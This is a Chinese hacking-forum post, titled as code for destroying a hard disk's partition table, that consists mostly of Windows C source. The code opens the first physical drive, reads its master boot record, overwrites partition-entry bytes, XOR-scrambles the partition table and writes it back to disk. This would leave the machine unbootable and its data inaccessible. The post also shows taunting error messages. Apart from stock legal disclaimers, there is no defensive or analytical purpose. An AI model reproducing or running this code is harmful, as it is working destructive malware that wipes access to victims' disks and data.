HanDs
管理员

[Visual Studio文章] 破坏硬盘分区表代码 





学习中请遵循国家相关法律法规,黑客不作恶。没有网络安全就没有国家安全

本站需要登陆后才能查看

  1. C CODE:[很黄很暴力.   ...ean...未亲测]
  2. HANDLE hDevice=
  3. CreateFile("\\\\.\\PHYSICALDRIVE0",GENERIC_READ|GENERIC_WRITE,
  4. FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,
  5. 0,NULL);
  6. if(hDevice==INVALID_HANDLE_VALUE)
  7. {
  8. MessageBox(NULL,"Your luck's so good !","Man~",MB_IConERROR|MB_OK);
  9. ExitProcess(0);
  10. }
  11. DWORD cout;
  12. DeviceIoControl(hDevice, FSCTL_LOCK_VOLUME,NULL,0,NULL,0,&cout,NULL);
  13. DISK_GEOMETRY Getmetry;
  14. DeviceIoControl(hDevice,IOCTL_DISK_GET_DRIVE_GEOMETRY,NULL,0,&Getmetry,sizeof(DISK_GEOMETRY),
  15. &cout,
  16. NULL);
  17. LPTSTR szBuf;
  18. szBuf=(LPTSTR)HeapAlloc(GetProcessHeap(),
  19. HEAP_ZERO_MEMORY,
  20. Getmetry.BytesPerSector);
  21. if(szBuf==NULL)
  22. {
  23. MessageBox(NULL,
  24. "Your luck's so good !","Man~",
  25. MB_IConERROR|MB_OK);
  26. ExitProcess(0);
  27. }
  28. DWORD bytes=512;
  29. DWORD readsize;
  30. BOOL m_ret;
  31. m_ret=ReadFile(hDevice,szBuf,bytes,&readsize,NULL);
  32. if(m_ret==FALSE || readsize<512)
  33. {
  34. MessageBox(NULL,
  35. "Your luck's so good !","Man~",
  36. MB_IConERROR|MB_OK);
  37. ExitProcess(0);
  38. }
  39. BYTE MBR[512]={0};
  40. for(int n=0;n<512;n++)
  41. {
  42. MBR[n]=szBuf[n];
  43. }
  44. DeviceIoControl(hDevice,FSCTL_UNLOCK_VOLUME,NULL,0,NULL,0,&cout,NULL);
  45. CloseHandle(hDevice);
  46. MBR[0x1BE]=80;
  47. MBR[0x1BF]=0;
  48. MBR[0x1C2]=5;
  49. for(int i=0x1C3;i<=0x1FE;i++)
  50. {
  51. MBR[i]=MBR[i]^26;
  52. }
  53. hDevice=
  54. CreateFile("\\\\.\\PHYSICALDRIVE0",
  55. GENERIC_READ|GENERIC_WRITE,
  56. FILE_SHARE_READ|FILE_SHARE_WRITE,
  57. NULL,
  58. OPEN_EXISTING,
  59. 0,
  60. NULL
  61. );
  62. if(hDevice==INVALID_HANDLE_VALUE)
  63. {
  64. MessageBox(NULL,
  65. "Your luck's so good !","Man~",
  66. MB_IConERROR|MB_OK);
  67. ExitProcess(0);
  68. }
  69. DeviceIoControl(hDevice,FSCTL_LOCK_VOLUME,NULL,0,NULL,0,&cout,NULL);
  70. m_ret=WriteFile(hDevice,MBR,bytes,&readsize,NULL);
  71. if(m_ret==FALSE||readsize<512)
  72. {
  73. MessageBox(NULL,
  74. "Your luck's so good !","Shit",
  75. MB_IConERROR|MB_OK);
  76. ExitProcess(0);
  77. }
  78. DeviceIoControl(hDevice, FSCTL_UNLOCK_VOLUME,NULL,0,NULL,0,&cout,NULL);
  79. 来源: http://www.programbbs.com/bbs/view35-17869-1.htm


学习中请遵守法律法规,本网站内容均来自于互联网,本网站不负担法律责任
破坏 硬盘 分区表 代码
#1楼
发帖时间:2016-7-9   |   查看数:0   |   回复数:0
游客组
快速回复